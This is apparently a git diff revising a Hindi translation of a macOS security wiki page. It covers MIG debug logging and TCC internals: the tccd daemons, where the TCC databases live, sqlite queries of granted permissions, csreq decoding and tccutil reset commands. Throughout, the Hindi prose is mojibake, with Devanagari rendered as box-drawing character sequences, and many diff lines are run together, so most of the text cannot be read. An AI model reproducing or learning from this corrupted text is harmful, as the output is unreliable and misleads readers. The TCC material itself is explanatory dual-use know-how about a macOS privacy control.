рд╡рд╣ **рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛** рд╣реЛрдЧрд╛ рдЬрд┐рд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛:
 
 
-рдЗрд╕ рдбреЗрдЯрд╛ рдХреЛ [**рдЗрд╕ Hopper рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдЗрд╕ рдбреЗрдЯрд╛ рдХреЛ [**рдЗрд╕ Hopper рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py). ### Debug -MIG рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рдХреЛрдб рднреА `kernel_debug` рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдкреНрд░рд╡реЗрд╢ рдФрд░ рдирд┐рдХрд╛рд╕реА рдкрд░ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд▓реЙрдЧ рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрдиреНрд╣реЗрдВ **`trace`** рдпрд╛ **`kdv`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЪреЗрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: `kdv all | grep MIG` +MIG рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рдХреЛрдб рднреА `kernel_debug` рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдкреНрд░рд╡реЗрд╢ рдФрд░ рдирд┐рдХрд╛рд╕реА рдкрд░ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд▓реЙрдЧ рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрдиреНрд╣реЗрдВ **`trace`** рдпрд╛ **`kdv`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рдВрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: `kdv all | grep MIG` ## References diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md index 5c0ee8d7e..43fff546a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md @@ -4,15 +4,15 @@ ## **рдмреБрдирд┐рдпрд╛рджреА рдЬрд╛рдирдХрд╛рд░реА** -**TCC (Transparency, Consent, and Control)** рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд╡рд┐рдирд┐рдпрдорд┐рдд рдХрд░рдиреЗ рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИред рдЗрд╕рдХреА рдкреНрд░рд╛рдердорд┐рдХ рднреВрдорд┐рдХрд╛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдЬреИрд╕реЗ **рд╕реНрдерд╛рди рд╕реЗрд╡рд╛рдПрдБ, рд╕рдВрдкрд░реНрдХ, рдлрд╝реЛрдЯреЛ, рдорд╛рдЗрдХреНрд░реЛрдлрд╝реЛрди, рдХреИрдорд░рд╛, рдкрд╣реБрдБрдЪ, рдФрд░ рдкреВрд░реНрдг рдбрд┐рд╕реНрдХ рдПрдХреНрд╕реЗрд╕** рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХрд░рдирд╛ рд╣реИред TCC рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕реНрдкрд╖реНрдЯ рд╕рд╣рдорддрд┐ рдХреЛ рдЕрдирд┐рд╡рд╛рд░реНрдп рдХрд░рдХреЗ рдЗрди рддрддреНрд╡реЛрдВ рддрдХ рдРрдк рдХреА рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдЧреЛрдкрдиреАрдпрддрд╛ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдбреЗрдЯрд╛ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИред +**TCC (Transparency, Consent, and Control)** рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд╡рд┐рдирд┐рдпрдорд┐рдд рдХрд░рдиреЗ рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИред рдЗрд╕рдХреА рдкреНрд░рд╛рдердорд┐рдХ рднреВрдорд┐рдХрд╛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдЬреИрд╕реЗ **рд╕реНрдерд╛рди рд╕реЗрд╡рд╛рдПрдБ, рд╕рдВрдкрд░реНрдХ, рдлрд╝реЛрдЯреЛ, рдорд╛рдЗрдХреНрд░реЛрдлрд╝реЛрди, рдХреИрдорд░рд╛, рдкрд╣реБрдБрдЪ, рдФрд░ рдкреВрд░реНрдг рдбрд┐рд╕реНрдХ рдПрдХреНрд╕реЗрд╕** рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХрд░рдирд╛ рд╣реИред TCC рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рд╕реНрдкрд╖реНрдЯ рд╕рд╣рдорддрд┐ рдХреЛ рдЕрдирд┐рд╡рд╛рд░реНрдп рдХрд░рдХреЗ рдЗрди рддрддреНрд╡реЛрдВ рддрдХ рдРрдк рдПрдХреНрд╕реЗрд╕ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдЧреЛрдкрдиреАрдпрддрд╛ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдбреЗрдЯрд╛ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИред -рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рддрдм TCC рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рддреЗ рд╣реИрдВ рдЬрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕рдВрд░рдХреНрд╖рд┐рдд рд╕реБрд╡рд┐рдзрд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рдПрдХ рдкреНрд░реЙрдореНрдкреНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ **рдкрд╣реБрдБрдЪ рдХреЛ рд╕реНрд╡реАрдХреГрдд рдпрд╛ рдЕрд╕реНрд╡реАрдХреГрдд** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, TCC рд╕реАрдзреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ **рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдЦреАрдВрдЪрдирд╛ рдФрд░ рдЫреЛрдбрд╝рдирд╛**, рддрд╛рдХрд┐ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛ рд╕рдХреЗ, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗрд╡рд▓ рд╡рд╣реА рдПрдХреНрд╕реЗрд╕ рдХрд░реЗрдВ рдЬреЛ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдЕрдиреБрдордд рд╣реИред +рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ TCC рдХрд╛ рд╕рд╛рдордирд╛ рддрдм рдХрд░рддреЗ рд╣реИрдВ рдЬрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕рдВрд░рдХреНрд╖рд┐рдд рд╕реБрд╡рд┐рдзрд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рдПрдХ рдкреНрд░реЙрдореНрдкреНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ **рдПрдХреНрд╕реЗрд╕ рдХреЛ рд╕реНрд╡реАрдХреГрдд рдпрд╛ рдЕрд╕реНрд╡реАрдХреГрдд** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, TCC рд╕реАрдзреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ **рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдЦреАрдВрдЪрдирд╛ рдФрд░ рдЫреЛрдбрд╝рдирд╛**, рддрд╛рдХрд┐ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛ рд╕рдХреЗ, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗрд╡рд▓ рд╡рд╣реА рдПрдХреНрд╕реЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рдЬреЛ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдЕрдиреБрдордд рд╣реИред -![An example of a TCC prompt](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) +![TCC рдкреНрд░реЙрдореНрдкреНрдЯ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) -**TCC** рдХреЛ **daemon** рджреНрд╡рд╛рд░рд╛ рд╕рдВрднрд╛рд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ рдФрд░ `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (mach рд╕реЗрд╡рд╛ `com.apple.tccd.system` рдХреЛ рдкрдВрдЬреАрдХреГрдд рдХрд░рдирд╛)ред +**TCC** рдХрд╛ рдкреНрд░рдмрдВрдзрди **daemon** рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ рдФрд░ `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (mach рд╕реЗрд╡рд╛ `com.apple.tccd.system` рдХреЛ рдкрдВрдЬреАрдХреГрдд рдХрд░рдирд╛)ред -рдПрдХ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдореЛрдб tccd** рдкреНрд░рддреНрдпреЗрдХ рд▓реЙрдЧ рдЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдЪрд▓ рд░рд╣рд╛ рд╣реИ рдЬреЛ `/System/Library/LaunchAgents/com.apple.tccd.plist` рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╣реИ, рдЬреЛ mach рд╕реЗрд╡рд╛рдУрдВ `com.apple.tccd` рдФрд░ `com.apple.usernotifications.delegate.com.apple.tccd` рдХреЛ рдкрдВрдЬреАрдХреГрдд рдХрд░рддрд╛ рд╣реИред +рдПрдХ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдореЛрдб tccd** рдкреНрд░рддреНрдпреЗрдХ рд▓реЙрдЧ рдЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдЪрд▓ рд░рд╣рд╛ рд╣реИ рдЬрд┐рд╕реЗ `/System/Library/LaunchAgents/com.apple.tccd.plist` рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ mach рд╕реЗрд╡рд╛рдУрдВ `com.apple.tccd` рдФрд░ `com.apple.usernotifications.delegate.com.apple.tccd` рдХреЛ рдкрдВрдЬреАрдХреГрдд рдХрд░рддрд╛ рд╣реИред рдпрд╣рд╛рдБ рдЖрдк tccd рдХреЛ рд╕рд┐рд╕реНрдЯрдо рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рддреЗ рд╣реБрдП рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ: ```bash @@ -24,7 +24,7 @@ ps -ef | grep tcc ### TCC рдбреЗрдЯрд╛рдмреЗрд╕ -рдЕрдиреБрдорддрд┐рдпрд╛рдБ/рдирд┐рд╖реЗрдз рдлрд┐рд░ рдХреБрдЫ TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИрдВ: +рдЕрдиреБрдорддрд┐рдпрд╛рдБ/рдирд┐рд╖реЗрдз рдлрд┐рд░ рдХреБрдЫ TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХреА рдЬрд╛рддреА рд╣реИрдВ: - рд╕рд┐рд╕реНрдЯрдо-рд╡реНрдпрд╛рдкреА рдбреЗрдЯрд╛рдмреЗрд╕ **`/Library/Application Support/com.apple.TCC/TCC.db`** рдореЗрдВред - рдпрд╣ рдбреЗрдЯрд╛рдмреЗрд╕ **SIP рд╕рдВрд░рдХреНрд╖рд┐рдд** рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХреЗрд╡рд▓ рдПрдХ SIP рдмрд╛рдпрдкрд╛рд╕ рдЗрд╕рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реИред @@ -32,9 +32,9 @@ ps -ef | grep tcc - рдпрд╣ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реИ рдЗрд╕рд▓рд┐рдП рдХреЗрд╡рд▓ рдЙрдЪреНрдЪ TCC рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдЬреИрд╕реЗ рдХрд┐ рдкреВрд░реНрдг рдбрд┐рд╕реНрдХ рдПрдХреНрд╕реЗрд╕ рдЗрд╕рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддреА рд╣реИрдВ (рд▓реЗрдХрд┐рди рдпрд╣ SIP рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рдирд╣реАрдВ рд╣реИ)ред > [!WARNING] -> рдкрд┐рдЫрд▓реЗ рдбреЗрдЯрд╛рдмреЗрд╕ рднреА **рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП TCC рд╕рдВрд░рдХреНрд╖рд┐рдд** рд╣реИрдВред рдЗрд╕рд▓рд┐рдП рдЖрдк **рдЕрдкрдиреА рдирд┐рдпрдорд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдирд╣реАрдВ рдкрдврд╝ рдкрд╛рдПрдВрдЧреЗ** рдЬрдм рддрдХ рдХрд┐ рдпрд╣ TCC рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рди рд╣реЛред +> рдкрд┐рдЫрд▓реЗ рдбреЗрдЯрд╛рдмреЗрд╕ рднреА **рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП TCC рд╕рдВрд░рдХреНрд╖рд┐рдд** рд╣реИрдВред рдЗрд╕рд▓рд┐рдП рдЖрдк **рдЕрдкрдиреА рдирд┐рдпрдорд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдирд╣реАрдВ рдкрдврд╝ рдкрд╛рдПрдВрдЧреЗ** рдЬрдм рддрдХ рдХрд┐ рдпрд╣ рдХрд┐рд╕реА TCC рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рди рд╣реЛред > -> рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдЗрди рдЙрдЪреНрдЪ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ (рдЬреИрд╕реЗ **FDA** рдпрд╛ **`kTCCServiceEndpointSecurityClient`**) рдХреЗ рдкрд╛рд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рд▓рд┐рдЦрдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛрдЧреАред +> рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдЗрди рдЙрдЪреНрдЪ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ (рдЬреИрд╕реЗ **FDA** рдпрд╛ **`kTCCServiceEndpointSecurityClient`**) рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реЛрдЧреАред - рдПрдХ **рддреАрд╕рд░рд╛** TCC рдбреЗрдЯрд╛рдмреЗрд╕ **`/var/db/locationd/clients.plist`** рдореЗрдВ рд╣реИ рдЬреЛ рдЙрди рдХреНрд▓рд╛рдЗрдВрдЯреНрд╕ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ **рд╕реНрдерд╛рди рд╕реЗрд╡рд╛рдУрдВ** рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИред - SIP рд╕рдВрд░рдХреНрд╖рд┐рдд рдлрд╝рд╛рдЗрд▓ **`/Users/carlospolop/Downloads/REG.db`** (рдЬреЛ TCC рдХреЗ рд╕рд╛рде рдкрдврд╝рдиреЗ рдХреА рдкрд╣реБрдБрдЪ рд╕реЗ рднреА рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реИ), рд╕рднреА **рдорд╛рдиреНрдп TCC рдбреЗрдЯрд╛рдмреЗрд╕** рдХрд╛ **рд╕реНрдерд╛рди** рд░рдЦрддреА рд╣реИред @@ -56,7 +56,7 @@ ps -ef | grep tcc > > рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **`tccutil`** рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХреЗ рд╕рд╛рде **рдирд┐рдпрдореЛрдВ рдХреЛ рд╣рдЯрд╛ рдпрд╛ рдХреНрд╡реЗрд░реА** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -#### рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ рдХреНрд╡реЗрд░реА рдХрд░реЗрдВ +#### рдбреЗрдЯрд╛рдмреЗрд╕ рдХреНрд╡реЗрд░реА рдХрд░реЗрдВ {{#tabs}} {{#tab name="user DB"}} @@ -102,11 +102,11 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; {{#endtabs}} > [!TIP] -> рджреЛрдиреЛрдВ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдХреЗ рдЖрдк рдпрд╣ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХрд┐рд╕реА рдРрдк рдХреЛ рдХреМрди рд╕реА рдЕрдиреБрдорддрд┐рдпрд╛рдБ рджреА рдЧрдИ рд╣реИрдВ, рдХреМрди рд╕реА рдордирд╛ рдХреА рдЧрдИ рд╣реИрдВ, рдпрд╛ рдХреМрди рд╕реА рдирд╣реАрдВ рд╣реИрдВ (рдпрд╣ рдЗрд╕рдХреЗ рд▓рд┐рдП рдкреВрдЫреЗрдЧрд╛)ред +> рджреЛрдиреЛрдВ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдХреЗ рдЖрдк рдпрд╣ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХрд┐рд╕реА рдРрдк рдХреЛ рдХреМрди-рд╕реЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рджреА рдЧрдИ рд╣реИрдВ, рдХреМрди-рд╕реА рдордирд╛ рдХреА рдЧрдИ рд╣реИрдВ, рдпрд╛ рдХреМрди-рд╕реА рдирд╣реАрдВ рд╣реИрдВ (рдпрд╣ рдЗрд╕рдХреЗ рд▓рд┐рдП рдкреВрдЫреЗрдЧрд╛)ред - **`service`** TCC **рдЕрдиреБрдорддрд┐** рдХрд╛ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рд╣реИ -- **`client`** **рдмрдВрдбрд▓ рдЖрдИрдбреА** рдпрд╛ **рдмрд╛рдЗрдирд░реА рдХрд╛ рдкрде** рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ -- **`client_type`** рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдмрдВрдбрд▓ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛(0) рд╣реИ рдпрд╛ рдкреВрд░реНрдг рдкрде(1) +- **`client`** **рдмрдВрдбрд▓ ID** рдпрд╛ **рдмрд╛рдЗрдирд░реА рдХрд╛ рдкрде** рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ +- **`client_type`** рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдПрдХ рдмрдВрдбрд▓ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛(0) рд╣реИ рдпрд╛ рдПрдХ рдкреВрд░реНрдг рдкрде(1)
@@ -153,7 +153,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; - **`auth_value`** рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдорд╛рди рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ: denied(0), unknown(1), allowed(2), рдпрд╛ limited(3). - **`auth_reason`** рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдорд╛рди рд▓реЗ рд╕рдХрддрд╛ рд╣реИ: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) -- **csreq** рдлрд╝реАрд▓реНрдб рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ рдХрд┐ рдмрд╛рдЗрдирд░реА рдХреЛ рдХреИрд╕реЗ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдП рдФрд░ TCC рдЕрдиреБрдорддрд┐рдпрд╛рдБ рджреА рдЬрд╛рдПрдБ: +- **csreq** рдлрд╝реАрд▓реНрдб рдпрд╣ рджрд░реНрд╢рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ рдХрд┐ рдмрд╛рдЗрдирд░реА рдХреЛ рдХреИрд╕реЗ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдП рдФрд░ TCC рдЕрдиреБрдорддрд┐рдпрд╛рдБ рджреА рдЬрд╛рдПрдБ: ```bash # Query to get cserq in printable hex select service, client, hex(csreq) from access where auth_value=2; @@ -169,7 +169,7 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n') echo "X'$REQ_HEX'" ``` -- рддрд╛рд▓рд┐рдХрд╛ рдХреЗ **рдЕрдиреНрдп рдХреНрд╖реЗрддреНрд░реЛрдВ** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП [**рдЗрд╕ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive) рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред +- рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП **рдЕрдиреНрдп рдХреНрд╖реЗрддреНрд░реЛрдВ** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ [**рдЗрд╕ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive) рдХреЛ рджреЗрдЦреЗрдВред рдЖрдк `System Preferences --> Security & Privacy --> Privacy --> Files and Folders` рдореЗрдВ рдРрдкреНрд╕ рдХреЛ **рдкрд╣рд▓реЗ рд╕реЗ рджрд┐рдП рдЧрдП рдЕрдиреБрдорддрд┐рдпреЛрдВ** рдХреА рднреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред @@ -184,9 +184,9 @@ tccutil reset All app.some.id # Reset the permissions granted to all apps tccutil reset All ``` -### TCC рд╕рд┐рдЧреНрдиреЗрдЪрд░ рдЬрд╛рдВрдЪ +### TCC Signature Checks -TCC **рдбреЗрдЯрд╛рдмреЗрд╕** рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ **рдмрдВрдбрд▓ рдЖрдИрдбреА** рд╕реНрдЯреЛрд░ рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ **рд╕рд┐рдЧреНрдиреЗрдЪрд░** рдХреЗ рдмрд╛рд░реЗ 